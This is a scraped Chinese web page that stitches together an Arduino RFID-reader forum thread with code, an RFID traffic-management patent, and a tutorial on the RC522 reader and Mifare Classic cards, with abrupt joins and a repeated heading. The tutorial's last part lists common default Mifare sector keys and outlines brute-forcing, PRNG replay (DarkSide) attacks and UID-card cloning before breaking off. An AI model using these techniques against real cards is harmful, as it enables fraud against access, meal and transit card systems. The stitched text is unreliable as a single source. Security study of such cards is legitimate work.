如何传动rfid卡序列号串口发送数据到上位机机

今日: 0|主题: 468|排名: 92&
友情提示:标题不合格、重复发帖,将会被封锁ID。详情请参考:
阿莫电子论坛, 原"中国电子开发网"查看: 2080|回复: 9
用leonardo做了个感应卡读卡器,可以通过键盘接口输出RFID的卡号
本帖最后由 艰苦奋斗 于
19:23 编辑
键盘接口RFID读卡器.jpg (341.91 KB, 下载次数: 0)
21:15 上传
//参考:极客工坊bg1lsy ([email][/email])
//修改: chenrj&&通过键盘接口输出RFID的卡号,可用于刷卡考勤等。
#include &SPI.h&
#include &RFID.h&
#define bee 3& &//蜂鸣器接口
/*
RFID& &-&& &Arduino UNO
-------------------
3.3V& &-&&&3.3V
RST& &-&&&D5
GND& &-&&&GND
IRQ& &-&&&NC
MISI&&-&&&D12
MOSI&&-&&&D11
SCK& &-&&&D13
SDA& &-&&&D10
注意:上面接线方法只适用UNO或跟UNO兼容的硬件SPI接口的板卡,
对LEONARDO这种板,因为SPI接口没接到IO口,上面的接线方法不适用
Leonardo板接法如下:
RFID& && && &leonado&&ICSP接口
-------------------
3.3V& &-&&&3.3V
RST& &-&& &D5
GND& &-&&&ICSP 6脚
IRQ& &-&& &NC
MISI&&-&&&ICSP 1脚
MOSI&&-&&&ICSP 4脚
SCK& &-&&&ICSP 3脚
SDA& &-&&&D10
*/
RFID rfid(10,5);&&//RFID(int chipSelectPin, int NRSTPD); D10 应接RFID读卡器的片选(SDA),D5接复位(RST)脚
void setup()
{
&&pinMode(bee,OUTPUT);
&&Serial.begin(9600);
&&SPI.begin();
&&rfid.init();&&
&&beep();
&&beep();
&&beep();
&&Keyboard.begin();
}
void beep()
{& &tone(bee,); //无源蜂鸣器,2KHz, 100毫秒
& &}
void loop()
{
&&//找卡
& &if (rfid.isCard()) {
& & Serial.println(&Find the card!&);
& & //读取卡序列号
& & beep();& &
& & if (rfid.readCardSerial()) {
& && & Serial.print(&The card's number is&&: &);
& && &Serial.print(rfid.serNum[0],HEX);
& && &Serial.print(rfid.serNum[1],HEX);
& && &Serial.print(rfid.serNum[2],HEX);
& && &Serial.print(rfid.serNum[3],HEX);
& && &Serial.print(rfid.serNum[4],HEX);
& && &Serial.println(& &);
& && &Keyboard.print(rfid.serNum[0],HEX);
& && &Keyboard.print(rfid.serNum[1],HEX);
& && &Keyboard.print(rfid.serNum[2],HEX);
& && &Keyboard.print(rfid.serNum[3],HEX);
& && &Keyboard.print(rfid.serNum[4],HEX);
& && &Keyboard.print(&\n&);& &&&
& && &&&}
& & //选卡,可返回卡容量(锁定卡片,防止多数读取),去掉本行将连续读卡
& & rfid.selectTag(rfid.serNum);
&&}
&&rfid.halt();
}复制代码库文件参考下面的贴子:
原来是论坛的发贴器不支持IE11,必须要加到兼容列表里才能看到贴图和贴代码的按钮栏。
配个上位机才好玩
lm4766 发表于
配个上位机才好玩
上位机用ASP写了个远程学生卡注册的模块,结合上面的程序就基本可以正常注册管理无线卡了,下面准备做个学生刷卡考勤系统,用W5100模块直接远程上传考勤记录,看还有谁敢逃我的课。
艰苦奋斗 发表于
上位机用ASP写了个远程学生卡注册的模块,结合上面的程序就基本可以正常注册管理无线卡了,下面准备做个 ...
现在替刷的比较多,怎么防范
板子是兼容板吧
lm4766 发表于
现在替刷的比较多,怎么防范
我让学生刷的是饭卡,估计一般不会把饭卡让别人刷,另外,我准备刷的时候直接返回卡对应的学生信息,发现替刷直接收卡,再请本人到我这来领。
asdfcgdc 发表于
板子是兼容板吧
都是淘宝买的便宜货,原装正版太贵了,这个只要二十几块钱,非常合算的,自已买零件做估计都不止这价。
想想因为有了TB,国内玩这些电子硬件的真得太幸福了,看一下sparkfun上都是美元计价,随便个小东西都要10几美元,还基本都是中国生产的,比起来,国内的价格跟免费一样。
艰苦奋斗 发表于
都是淘宝买的便宜货,原装正版太贵了,这个只要二十几块钱,非常合算的,自已买零件做估计都不止这价。
我做的话,评估程序需要多少空间,没有用什么很多外设,只有SPI,程序占用空间也不大,一个STM8就干掉,量产的话省很多钱
{:soso_e113:}{:soso_e113:}{:soso_e113:}
Powered by一种基于rfid的交通信息管理系统的制作方法
专利名称一种基于rfid的交通信息管理系统的制作方法
技术领域本发明涉及RFID和互联网软件等多个技术领域,特别是指一种基于RFID的交通
信息管理系统。
背景技术随着RFID射频技术和软件、通信技术的发展,特别是RFID射频卡远程读取技术和网络软件等技术的发展,为基于RFID的交通信息管理提供了可行性,交通信息日益成为当前社会人们重点关注的信息,如何为用户提供更加有效、实时、快速的信息成为当前业务开发过程中着力考虑的问题。交通状况日益成为人们出行的关注点,如何对交通状况做出智能预判和快速实时的分析,为机构和个人用户提供各种智能化的交通信息成为当前紧迫的需求。有鉴于此,本发明的目的在于提出一种简单,易行,通过车辆集成RFID和将RFID 读头联网的交通信息管理系统。
从上面所述可以看出,本发明提供的基于RFID的交通信息管理系统,通过获取单个和多个目标的运动位置、时间、路线等信息进行处理和分析,可以得到路线状况、车辆运动状况等动态信息,并通过各种渠道进行发布,为各种不同需求的用户都提供了方便的交通信息获取的渠道和新型的交通信息系统的业务体验。具体来说具有以下优点远程自动化信息收集通过远程RFID卡的应用,系统可以在远距离自动化实时并行收集携带RFID卡的目标信息后自动上报到网络平台。网络化监测将远程RFID的读头与互联网进行连接,系统将实时获取到每个不同地点的RFID 读头的获取数据,并实现网络化的远程监测。智能分析处理识别到多个目标信息后,系统将处理各个目标和路线的不同目标的各种位置和速度信息,从而分析出总体的实时或者历史交通状况信息。功能丰富系统集成地理信息系统和移动系统,既可以跟踪单个目标,也可以进行整体统计分析,同时与地理信息系统结合,用户可以在门户网站在地图上看到动态变化的交通信息或单个目标的运动轨迹等信息。
此处所说明的附图用来提供对本发明的进一步理解,构成本申请的一部分,本发明的示意性实施例及其说明用于解释本发明,并不构成对本发明的不当限定。在附图中图1为本发明系统模块结构的示意图。图2为业务流程说明示意图。图3为用户使用流程示意图。
具体实施例方式下面参照附图对本发明进行更全面的描述,其中说明本发明的示例性实施例。为实现上述目的,提出了一种基于RFID的交通信息管理系统。以下通过结合附图,对本发明的实施方式进行描述。实现基于RFID的交通信息管理系统的关键点如下远程并行RFID卡信息获取通过运用远程RFID的读取技术,远程和并行读取一个地点的多个卡信息并通过重复目标的过滤避免数据信息的反复触发。分布式网络系统将原本各个独立分离的读头通过网络连接起来,将上位机形成一个整体的网络, 形成一个雪花型的分布式的网络处理系统,主机构成一个分布式系统,对网络节点的数据进行分布式的处理。大规模信息实时处理网络化的读头上报大量的目标信息,系统需要对这些大规模的实时信息进行实时处理,对系统架构的设计和处理能力提出了更高的要求。地理信息系统的集成主要功能模块如图1所示,基于一种基于RFID的交通信息管理系统结构主要包括RFID射频卡 100 RFID卡对车辆进行编码映射,通过识别卡就可识别出具体目标车辆信息,并提供远程识别的物理基础;读头及上位机101 读头通过空中接口来触发RFID卡的响应和读取卡片信息并处理并行信息的读取冲突,读取后上报给上位机;互联网络102 提供信息传输的通道,将上位机组成网络;数据接口模块103:负责接收各个上位机上报的各个识别的RFID卡的数据并协调数据流量;数据处理模块104 负责接收上位机上报的数据并对数据进行格式化规整和预处理并保存到数据库模块;数据库模块105:负责存储采集到的数据和提供数据查询等数据库的功能;地理信息模块106
提供地理信息和地图功能,与门户集成提供地理信息系统的各种功能并在地图界面上实现数据的展示和回放;逻辑控制模块107 负责根据系统设置等参数,执行对应的逻辑流程和指示其他模块进行相应逻辑执行;门户模块108 为用户提供访问系统的入口,为用户使用系统的各种功能提供了平台;信息发布模块109 为各种分析信息通过接口适配和发布到不同的发布系统,如短信接口等;管理模块110:对整个系统进行管理,包含业务逻辑管理、日志记录、参数配置等管理功能。下面举一个例子来说明本发明系统的工作流程,该实施例中,业务包括以下步骤预置条件车辆已经配置了 RFID卡并进行了信息的绑定。步骤1 车辆经过安装有读头的路口,读头获取到目标RFID卡信息;步骤2 读头获得目标车辆的RFID卡序列号后将信息上报到上位机;步骤3 上位机通过网络将信息实时传输到系统平台;步骤4.系统平台获取信息后将信息进行格式化规整并保存到数据系统;步骤5.业务逻辑模块根据系统预置的各种逻辑和用户的参数设置对数据进行计算和分析处理;步骤6.进行分析和处理后的数据结果通过接口发布模块发布到各种发布渠道, 用户可以接收到各种信息或者通过门户设置各种查询参数后查询到各种信息。本发明的描述是为了示例和说明起见而给出的,而并不是无遗漏的或者将本发明限于所公开的形式。很多修改和变化对于本领域的普通技术人员而言是显然的。选择和描述实施例是为了更好说明本发明的原理和实际应用,并且使本领域的普通技术人员能够理解本发明从而设计适于特定用途的带有各种修改的各种实施例。
1.一种基于RFID的交通信息管理系统,其特征在于自动收集携带RFID卡的车辆信息与路线并加以分析。
2.通过RFID读头收集到的卡信息与车辆信息进行绑定和映射,因此可以获取到目标车辆信息和对特定的目标进行监控。
3.通过与地理信息系统的结合,可以在地理信息系统上实时计算和展现目标的运动状态信息,并将历史数据保存到数据库后可以日后回放和分析。
4.如权利要求2所述,通过在不同位置和不同时间收集到的同一个目标RFID卡的信息可以判断目标车辆的运动路线和运动速度等信息。
5.如权利要求3所述,通过收集到多个目标的运动路线和运动速度信息,可以分析出各个路线的拥挤程度和平均速度以判定交通状况是否良好。
6.如权利要求5所述,计算出的各种目标信息通过系统的信息发布接口,可以发布到移动网络和互联网网络,支持各种业务渠道的发布,如短信、彩信、WAP、互联网等方式或传统的信息发布渠道如室外大屏幕等。
7.如权利要求1所述的基于RFID卡的交通信息管理系统,其特征在于自动获取目标卡信息通过有源或者无源的RFID卡的使用,系统可以在很远的距离自动并行获取到多个目标卡信息。运动状态分析通过获取到的RFID卡的信息,通过分析其获取信息的位置和时间,可以实现目标运动状态的跟踪和分析,通过多个目标的跟踪和分析,还可以得到整体交通拥塞的状态。地理信息系统结合系统集成地理信息系统,用户可以在门户界面看到目标在地图上的运动轨迹和参数并可以进行历史回放。历史分析通过对长期的历史数据进行处理和分析,可以得到交通状况的地理分布和时间分布, 为交通协调改善提供了主要的数据基础。整个业务通过收集到车载RFID卡信息,可以识别出目标车辆信息和位置等多个运动状态信息,并结合地理信息系统在地图上展示,同时,通过发布接口在互联网、移动网络等渠道为终端用户提供交通信息分析结果,为机构用户和个人用户提供了一种新型的交通信息来源渠道。
本发明公开了一种基于RFID的交通信息管理系统,包含RFID射频标签,RFID射频读头,上位机模块,业务逻辑模块,地理信息系统模块,数据库模块、管理模块等。本发明将通过车辆附加远程RFID射频卡,并通过各个交通路口设置RFID射频卡的读头并形成网络,收集车辆的行驶状态和各个交通路线的车流状况,识别车辆和对车辆行驶和交通路况进行分析处理,结合地理信息系统对总体交通状况和单个目标车辆实现目标跟踪,路况数据处理和智能化分析,并通过手机、互联网等方式进行交通信息的发布和管理,为全局和个体的交通信息的获取和分析提供了一种新的方式,并为机构和终端用户提供了一个新的业务体验和方式。
文档编号G06K7/00GKSQ
公开日日 申请日期日 优先权日日
发明者施丽艳 申请人:上海博路信息技术有限公司1. 为什么要用Arduino
一提到,我们可能会想到ACR122、Proxmark3这些设备,还有Radiowar出售的专业级RFID设备,实际上我们完全可以自己使用arduino单片机和RC522这种RFID模组制作简易且足够使用的RFID读写器,并实现简单的攻防实验。
1. 为什么要用Arduino
一提到,我们可能会想到ACR122、Proxmark3这些设备,还有Radiowar出售的专业级RFID设备,实际上我们完全可以自己使用arduino单片机和RC522这种RFID模组制作简易且足够使用的RFID读写器,并实现简单的攻防实验。为了实现这个目的,我们需要了解一些基本的RFID协议和射频收发器的基本参数知识
2. RC522芯片(读卡器)简介
RC522是应用于13.56MHz非接触式通信中高集成度的读写卡芯片,是NXP公司针对“三表”应用推出的一款低电压、低成本、体积小的非接触式读写
卡芯片,是智能仪表和便携式手持设备研发的较好选择。 MF
RC522利用了先进的调制和解调概念,完全集成了在13.56MHz下所有类型的被动非接触式通信方式和协议。支持14443A兼容应答器信号。数字部
分处理ISO14443A帧和错误检测。此外,还支持快速CRYPTO1加密算法,用语验证MIFARE系列产品。MFRC522支持MIFARE系列更
高速的非接触式通信,双向数据传输速率高达424kbit/s。 作为13.56MHz高集成度读写卡系列芯片家族的新成员,MF RC522与MF
RC500和MF RC530有不少相似之处,同时也具备许多特点和差异。它与主机间通信采用SPI模式,有利于减少连线,缩小PCB板体积,降低成本
NXP RC522微控制器是该单片机的核心MF522-AN模块采用Philips
MFRC522原装芯片设计读卡电路,使用方便,成本低廉,适用于设备开发、读卡器开发等高级应用的用户、需要进行射频卡终端设计/生产的用户。本模块可
直接装入各种读卡器模具。模块采用电压为3.3V,通过SPI接口简单的几条线就可以直接与用户任何CPU主板相连接通信,可以保证模块稳定可靠的工作、
读卡距离远
0x1: 电气参数简介
工作电流: 13—26mA/直流3.3V
空闲电流: 10-13mA/直流3.3V
休眠电流: &80uA
峰值电流: &30mA
工作频率: 13.56MHz
支持的卡类型
1. mifare1 S50
2. mifare1 S70
3. mifare UltraLight
4. mifare Pro
5. mifare Desfire
产品物理特性: 尺寸: 40mm×60mm
环境工作温度: 摄氏-20~80度
环境储存温度: 摄氏-40~85度
环境相对湿度: 相对湿度5%~95%
0x2: 模块原理图
0x3: MFRC522 Register SET
MFRC522 是一个用来读写/操作RFID卡的外接模组,我们对卡的所有的操作,都必须借助MFRC522封装并向外提供的API接口进行,MFRC522作为 RFID读卡器,需要将上位机发送的二进制数据封装为指定格式(类似TCP/IP的封装),同时也要解析来自RFID卡发送的封装好的数据,这个过程对 RFID卡来说也是一样的
需要明白的是,RFID卡本身也是一个单片机具备简单的数据处理能力,它自身维护着一个类似状态机的存储结构,我们通过RC522向RFID卡发送的指令,实际上一段约定格式的binary串,这个串的各个bit区域对应不同的功能性说明(感觉有点类似分控和肉鸡程序的协议通信方式)
例如,RFID读卡器和RFID卡的认证请求,就是由RFID读卡器向RFID卡发送一段: [PICC_AUTHENT1A/PICC_AUTHENT1B + 块地址 + 扇区密码 + 卡序列号] 的二进制bit流,随后读卡器和卡之间会进行"基于预分配密钥的三次握手认证"
我们如果研究过基于汇编操作硬件编程实验,应该会知道,一般来说要操作一个外设硬件完成一个功能,从汇编角度要进行如下几个步骤
1. 通过地址总线,选通某个外设设备,这个过程通过向地址寄存器写入外设的内存基址完成
2. 选通数据总线
3. 向外设的"指令缓冲寄存器"中写入指令代码
4. 向外设的"指令参数寄存器"中写入指令参数。在RC522上通过一个FIFO存储器实现
5. 外设以轮询或者中断触发方式读取指令寄存器中的指令码,以及传入的参数,跳转到对应的"处理例程"
RC522的寄存器列表如下
//Page 0:Command and Status
Reserved00: Reserved for future use
CommandReg: Starts and stops commands execution
CommIEnReg: Controls bits to enable and disable the passing of interrupt Requests
DivlEnReg: Controls bits to enable and disable the passing of interrupt Requests
CommIrqReg: Contains interrupt Request bits
DivIrqReg: Contains interrupt Request bits
ErrorReg: Error bits showing the error status of the last command executed
Status1Reg: Contains status bits for communication
Status2Reg: Contains status bits of the receiver and transmitter
FIFODataReg: in and output of 64 byte FIFO buffer
FIFOLevelReg: indicates the number of bytes stored in the FIFO
WaterLevelReg: Defines the level for FIFO under and overflow warning
ControlReg: Contains miscellaneous Control Registers
BitFramingReg: Adjustments for bit oriented frames
CollReg: Bit position of the first bit collision detected on the RF-interface
Reserved01: Reserved for future use
//Page 1:Command
Reserved10: Reserved for future use
ModeReg: Defined general modes for transmitting and receiving
TxModeReg: Defines the transmission data rate and framing
RxModeReg: Defines the receive data rate and framing
TxControlReg: Control the logical behavior of the antenna driver pins TX1 and TX2
TxSelReg: Selects the internal sources for the antenna driver
RxSelReg: Selects internal receiver setttings
RxThresholdReg: Selects threadholds for the bit decoder
DemodReg: Defines demodulator settings
Reserved11: Reserved for future use
Reserved12: Reserved for future use
Reserved13: Reserved for future use
Reserved14: Reserved for future use
SerialSpeedReg: Selects the speed of the serial UART interface
//Page 2:CFG
Reserved20: Reserved for future use
CRCResultRegM: Shows the actual MSB values of the CRC calcalation
CRCResultRegL: Shows the actual LSB values of the CRC calcalation
Reserved21: Reserved for future use
ModWidthReg: Controls the settting of the ModWidth
Reserved22: Reserved for future use
RFCfgReg: Configures the receiver gain
GsNReg: Selects the conductance of the antenna driver pins TX1 and TX2 for modulation
TModeReg: Defines settings for the internal timer
TPrescalerReg
TReloadRegH: Describes the 16 bit timer reload value
TReloadRegL
TCounterValueRegH: Shows the 16 bit actual timer value
TCounterValueRegL
//Page 3:TestRegister
Reserved30: Reserved for future use
TestSel1Reg
TestSel2Reg
TestPinEnReg
TestPinValueReg
TestBusReg
AutoTestReg
VersionReg
AnalogTestReg
TestDAC1Reg
TestDAC2Reg
TestADCReg
Reserved31
Reserved32
Reserved33
Reserved34
0x4: MFRC522 Command Set
上位机(可以是arduino uno)通过MFRC522预设的指令集来间接的操作RFID射频卡(读写指定扇区数据),RC522支持的指令操作如下
//MF522 command bits
#define PCD_IDLE 0x00 //NO cancel current commands
#define PCD_AUTHENT 0x0E //verify password key
#define PCD_RECEIVE 0x08 //receive data
#define PCD_TRANSMIT 0x04 //send data
#define PCD_TRANSCEIVE 0x0C //send and receive data
#define PCD_RESETPHASE 0x0F //reset
#define PCD_CALCCRC 0x03 //CRC check and caculation前面说过,arduino向MFRC522发送指令本质上就是arduino向MFRC522的指令寄存器写入2字节的指令,等待MFRC522读取并执行、响应
Authentication 认证操作
1. MCM中设有专用的密码存储器(KEY-RAM),用于存储3个密码集KEYSET0,KEYSET1,KEYSET2,每一个KEYSET又包含了各个扇区的KEY A 及KEY B
2. Authentication操作就是将KEY-RAM中的密码与卡中对应的密码进行三次相互认证
3. Authentication操作的卡应答以AE位给出
1) AE=1: 密码出错,未能通过认证
2) AE=0: 密码正确,通过认证
READ/WRITE操作
1. READ/WRITE均需整块操作
1) 发送命令码30H+块地址(0~63)
2) 接收指定块的数据(16B)
3) 通常用2次读并比较是否一致来校验是否正确读
1) 发送命令码A0H+块地址(0~63)
2) 接收ACK/NAK应答来校验是否正确接收命令
3) 发送块数据(16B)
4) 接收ACK/NAK应答来校验是否正确写入EEPROM
Value Operate 值操作
1. MIFARE卡专门为公交/地铁等行业的定额收费系统设有值操作命令,包括
1) INCREAMENT
2) DECREAMENT
3) TRANSFER
4) RESTORE
2. 对某块进行值操作的前提是该块已被初始化为"值块"(Value Block)并且Access Bits允许值操作
2. RFID卡分类
RFID卡的分类方式有很多种,取决于从哪个角度看问题
0x1: 按物理特性分类
1. 按供电方式分为
1) 有源卡: 有源是指卡内有电池提供电源,其作用距离较远,但寿命有限、体积较大、成本高,且不适合在恶劣环境下工作
2) 无源卡: 无源卡内无电池,它利用"波束供电技术"将接收到的射频能量转化为直流电源为卡内电路供电,其作用距离相对有源卡短,但寿命长且对工作环境要求不高
2. 按载波频率分为
1) 低频射频卡: 低频射频卡主要有125kHz和134.2kHz两种,低频系统主要用于短距离、低成本的应用中,如多数的门禁控制、校园卡、动物监管、货物跟踪等
2) 中频射频卡: 中频射频卡频率主要为13.56MHz,中频系统用于门禁控制和需传送大量数据的应用系统
3) 高频射频卡: 高频射频卡主要为433MHz、915MHz、2.45GHz、5.8GHz等,高频系统应用于需要较长的读写距离和高读写速度的场合,其天线波束方向较窄且价格较高,在火车监控、高速公路收费等系统中应用。高频卡目前的频率主要是13.56MHz。有几种标准
3.1) ISO-14443-A: ISO-14443-A和ISO-14443-B的主要区别在于编码方式。ISO-14443-A是曼切斯特编码。Mifare卡和Desfare卡都是ISO-14443-A卡
3.2) ISO-14443-B: 而NRZ是不归零编码。身份证一般都是ISO-14443-B
3.3) ISO-15693
3.4) ISO-18000-3
3. 按调制方式的不同可分为
1) 主动式: 主动式射频卡用自身的射频能量主动地发送数据给读写器
2) 被动式: 被动式射频卡使用调制散射方式发射数据,它必须利用读写器的载波来调制自己的信号,该类技术适合用在门禁或交通应用中,因为读写器可以确保只激活一定范围之内的射频卡。在有障碍物的情况下,用调制散射方式,读写器的能量必须来去穿过障碍物两次。而主动方式的射频卡发射的信号仅穿过障碍物一次,因此主动方式工作的射频卡主要用于有障碍物的应用中,距离更远(可达30米)
4. 按作用距离可分为
1) 密耦合卡(作用距离小于1厘米)
2) 近耦合卡(作用距离小于15厘米)
3) 疏耦合卡(作用距离约1米)
4) 远距离卡(作用距离从1米到10米,甚至更远)
5. 按芯片分为
1) 只读卡: 卡内有一个全球唯一的ID号,安全性较高,最便宜
2) 读写卡: 允许向卡内写入和檫除信息,价格较高
3) 一次写入多次读出: 一次写入信息后不可更改,价格比可读可写卡便宜
0x2: 按协议分类
1. ISO14443
IS014443A/B,超短距离智慧卡标准。这标准订出读取距离7-15厘米的短距离非接触智慧卡的功能及运作标准,使用的频率为13.56MHz
IS014443定义了TYPE A, TYPE B两种类型协议,通信速率为106kbit/s,它们的不同主要在于载波的调制深度及位的编码方式
1) TYPE A采用开关键控(On-Off keying)的Manchester编码
2) TYPE B采用NRZ-L的BPSK编码。TYPE B与TYPE A相比,具有传输能量不中断、速率更高、抗干扰能力强的优点
RFID的核心是防冲突技术,这也是和接触式IC卡的主要区别。IS规定了TYPEA和TYPE B的防冲突机制.二者防冲突机制的原理不同
1) TYPE A: 基于位冲突检测协议
2) TYPE B: TYPE B依靠通信系列命令序列完成防冲突。目前的第二代电子身份证采用的标准是IS014443 TYPE B协议
2. IS015693
IS015693(ISO SC17lWG8),短距离智慧卡标准,这标准订出读取距离可高达一米非接触智慧卡,使用的频率为13.56MHz,设计简单让生产读取器的成本比IS014443低,大都用来做进出控制、出勤考核等,现在很多企业使用的门禁卡大都使用这一类的标准。
IS015693采用轮寻机制、分时查询的方式完成防冲突机制。防冲突机制使得同时处于读写区内的多个标签的正确操作成为可能,既方便了操作,也提高了操作的速度
3. ISO 10536
ISO 10536标准主要发展于年间,由于这种卡的成本高,与接触式IC卡相比优点很少,因此这种卡从未在市场上销售
3. 常见RFID卡产品
RFID卡的分类种类繁多、样式也各有不同,同一张卡可以归属于多个类别中,一张卡具备哪种属性取决于卡内的芯片、EPPROM读写权限、是否接触式等等因素,因为制作工艺的不同,有的卡可以做成钥匙扣,有的可以做成卡片
0x1: 钥匙扣
1) ISO 14443/ISO 10536
3) 载波频率为125KHz(THR12)
4) 卡向读卡器传送数据的调制方式为加载调幅
5) 卡内数据编码采用抗干扰能力强的BPSK相移键控方式,卡向读卡器数据传送频率为3.9kbps(THRC12)
6) 卡号的唯一性和安全性
1) ISO 14443/ISO 10536
3) FM1108芯片
0x2: 非接触式ID卡
2. 采用层压/自动黏贴/超声波封装 封装工艺
3. 表面18位ID卡号
5. 卡向读卡器传送数据的调制方式为加载调幅
6. 卡内数据编码采用抗干扰能力强的BPSK相移键控方式,卡向读卡器数据传送频率为3.9kbps(THRC12)
7. 卡号的唯一性和安全性
0x3: 接触式ID卡
0x4: 非接触式IC卡
1. 复旦M1(IC)白卡
2. 13.56MHZ
3. 采用层压/自动粘贴/超声波封装 封装工艺
4. 原装复旦FM1108芯片
5. PVC/PET/0.13铜线
0x5: 接触式IC卡
所谓接触式IC卡,是指IC卡读写数据的方式由IC卡的触电与IC卡读写设备的触电进行解除读写数据的一种IC卡。卡内封装的集成电路芯片,可以记录并刷新所存储内容,在使用时,通过有形的电极触电将卡的集成电路与外部接口设备直接接触链接,进行数据交换
IC卡又称为智能卡
IC卡需要做初始化工作(即加密)(不管是否接触)
在实际使用中,IC卡常常被作为可编辑的ID卡使用
T577卡是T5557卡、T5567卡的升级版,具有防磁、防静电、抗破坏性和耐用性强,防伪性好,存储数据安全等特点,按照ISO7816标准执行
4. Mifare Classic/M1/IC卡/智能卡
很多时候我们谈到Hack Mifare Classic/M1,实际上是在谈如何通过读写篡改卡中的数据,如何逆向卡内EEPROM数据的加密算法,这里需要明白的是,可以向卡内写入数据并不意味着就已经 Hack掉了这张卡,通过M1的密码验证向卡内写入数据只是第一步(进了大门),真正的工作在于如何解读读到的不同扇区、不同块的数据,这相当于不同的 M1对应的业务场景(例如饭卡、水卡、公交卡),我认为Hack一张M1 RFID卡,实际上是在Hack它对应的数据存储加密算法(不同bit位对应不同的业务场景)
0x1: 前提条件
要hack一张M1卡类型的RFID卡,需要以下几个方面
1. 知道目标RFID卡、目标扇区的密码
1) 暴力破解
2) 大多数卡使用默认密码
2. 目标RFID卡、包括整体认证计费系统采取离线或准离线方式,我们通过修改卡内数据能直接生效。否则如果目标RFID卡内只保存一个ID号(UID卡),所有的认证和计费都在SERVER端完成(类似于WEB中的SESSOIN认证机制一样),这种卡往往带有公私钥非对称加密机制,单纯修改ID号是无法生效的
3. 我们需要修改的目标扇区的读写控制位为可写
4. 保存UID卡的卡号的0扇区、0块密钥已知且可读
0x2: 卡硬件结构
M1 卡分为 16 个扇区,每个扇区由 4 块(块0、块1、块2、块3)组成,(我们也将 16 个扇区的 64 个块按绝对地址编号为 0~63)
每张M1卡一定都有16个扇区
0 扇区的块 0(即绝对地址 0 块),它用于存放厂商代码,已经固化,不可更改(前4字节是卡序列号,第5字节是卡容量,6、7字节是卡类型、剩下是厂商定义的信息)。每个扇区的块0、块1、块2为数据块,可用于存贮数据,数据块可作两种应用
2. 用作一般的数据保存,可以进行读、写操作
3. 用作数据值,可以进行初始化值、加值、减值、读值操作
每个扇区的块 3 为控制块,包括了密码 A、存取控制、密码 B。具体结构如下
每个扇区的密码和存取控制都是独立的,可以根据实际需要设定各自的密码及存取控制。存取控制为 4 个字节,共 32
位,扇区中的每个块(包括数据块和控制块)的存取条件是由密码和存取控制共同决定的(类似于x86的内存读写管理r/w/rw),在存取控制中每个块都有
相应的三个控制位,定义如下
三个控制位以正和反两种形式存在于存取控制字节中,决定了该块的访问权限(如进行减值操作必须验证 KEY A,进行加值操作必须验证 KEY B,等等)
块0的存取控制位C10 C20 C30=1 0 0时,验证密码A或密码B正确后可读;验证密码B正确后可写;不能进行加值、减值操作
例如:当块3的存取控制位C13 C23 C33=1 0 0时,表示
1. 密码A: 不可读,验证KEYA或KEYB正确后,可写(更改)
2. 存取控制: 验证KEYA或KEYB正确后,可读、可写
3. 密码B: 验证KEYA或KEYB正确后,可读、可写 也就是说,对任何一张M1卡,要想对它进行读写操作,需要KeyA、KeyB、存储控制位
这3者综合判断的结果,而且大多数情况下存储控制位所在区块是不允许写操作的,这就像一个保险柜的钥匙放在保险柜里并加锁了,只提供外面的一些仅有的界面
提供操作,无法直接拿到里面的钥匙
0x3: 三次握手密钥认证过程
RFID M1卡采用一种典型的认证双方预分配(协商)好一对相同的密钥,通过各自生成的随机种子,并使用该密钥加密并发送给对方,向对方证明自己是可信的
0x4: MIFARE卡的读写操作步骤
1. 激活MCM
2. MCM软复位
3. 向MCM下载密码(LOAD KEY),校验传输密码正确后可向MCM的KEY-RAM写入用户自己设定的密码
//以上操作与卡无关
4. 请求应答(ANSWER TO REQUEST): 寻卡
5. 防冲突(ANTICOLLISION): 选择唯一一张卡
6. 选择标记(SELECT): 激活所选择的卡
7. 认证(AUTHENTICATION): 安全性
8. 读写操作(读、写、加值、减值): 交换数据(READ/WRITE/INCREAMENT/DECREMENT)
9. 停止(HALT): 置卡为停止模式,防止重复操作
0x5: 攻击面
1. 爆破卡密码
在 CRYPTO1 算法的细节没有被泄露之前,最有效的方法就是暴破了。还有一个很重要的原因就是,M1 卡是被动卡,需要读卡器为它提供能量,一旦读卡器切断了电源,卡中的临时数据就会丢失,这样就没有办法记录下攻击者究竟输错了多少次密码,卡永远不会因为密码输入错误太多而被锁定,只要攻击者有时间慢慢尝试,密码肯定会出来的
这里列举一些常见的 M1 卡密钥
FFFFFFFFFFFF
A0A1A2A3A4A5
D3F7D3F7D3F7
A0B0C0D0E0F0
A1B1C1D1E1F1
B0B1B2B3B4B5
4D3A99C351DD
1A982C7E459A
AABBCCDDEEFF
B5FF67CBA951
714C5C886E97
587EE5F9350F
533CB6C723F6
8FD0A4F256E9
EE9BD361B01B
2. 重放攻击(PRNG漏洞): DarkSide攻击(密钥流窃听)
重放攻击是基于 M1 卡的 PRNG 算法漏洞实现的,当卡接近读卡器获得能量的时候,就会开始生成随机数序列,但这有一个问题,因为卡是被动式卡,本身自己不带电源,所以断电后数据没办法保存,这时基于 LSRF 的 PRNG 算法缺陷就出来了,每次断电后再重新接入电,卡就会生成一摸一样的随机数序列,所以我们就有可能把这个序列计算出来,所以只要我们控制好时间,就能够知道在获得能量后的某一刻时间的随机数是多少,然后进行重放攻击,就有可能篡改正常的数据。如果卡的所有权在我们手上的时候,我们可以在较短的时间内实现破解
这种攻击方式类似于WPA WIFI密码破解,需要基于嗅探抓到握手包,然后通过算法本身可逆的特性得到密钥KEY
1) 以读卡器的挑战值做变量
这里说的读卡器实际上指的是用来模拟读卡器的攻击工具,下个攻击亦如此。这种攻击又可称选择密文攻击,想法用工具控制被攻击的卡每次在认证时产生同一挑战值,而读卡端则回应不同值。这种攻击需要大约28500次的认证过程,用时约15分钟,然后计算密钥,用时约一分钟
2) 卡的挑战值做变量
这种攻击与攻击1类似,但需要使自己的工具的挑战值为常数,而令卡的挑战值数不断变化。需要预制一个384 GB的状态表。要进行4096次认证。大约用时2分钟
3. 克隆卡片
这是一个很简单也很实用的方法,因为M1卡自带扇区可以保存数据,所以大部分的卡片会选择加密扇区后将数据保存在里面,所以我们完全可以克隆一张带有一样数据的克隆卡。这就会用到一种叫 UID 卡的特殊 M1 模拟卡,前面说到每张 M1 卡在 0 扇区第 1 段都会有一个全球唯一的 UID 编号,而且这个块在出厂之后是被厂商设定保护无法修改的,UID 卡就是没有设定 0 扇区保护的卡,所以你可以随意的修改你想要的 UID,这样我们就可以克隆出一张连 UID 都相同的卡片了
跟ID卡一样,复制IC卡的UID号码写入到新的空白IC卡中(这个时候IC卡被当作一张可编辑的ID使用)
4. 验证漏洞(嵌套认证攻击)
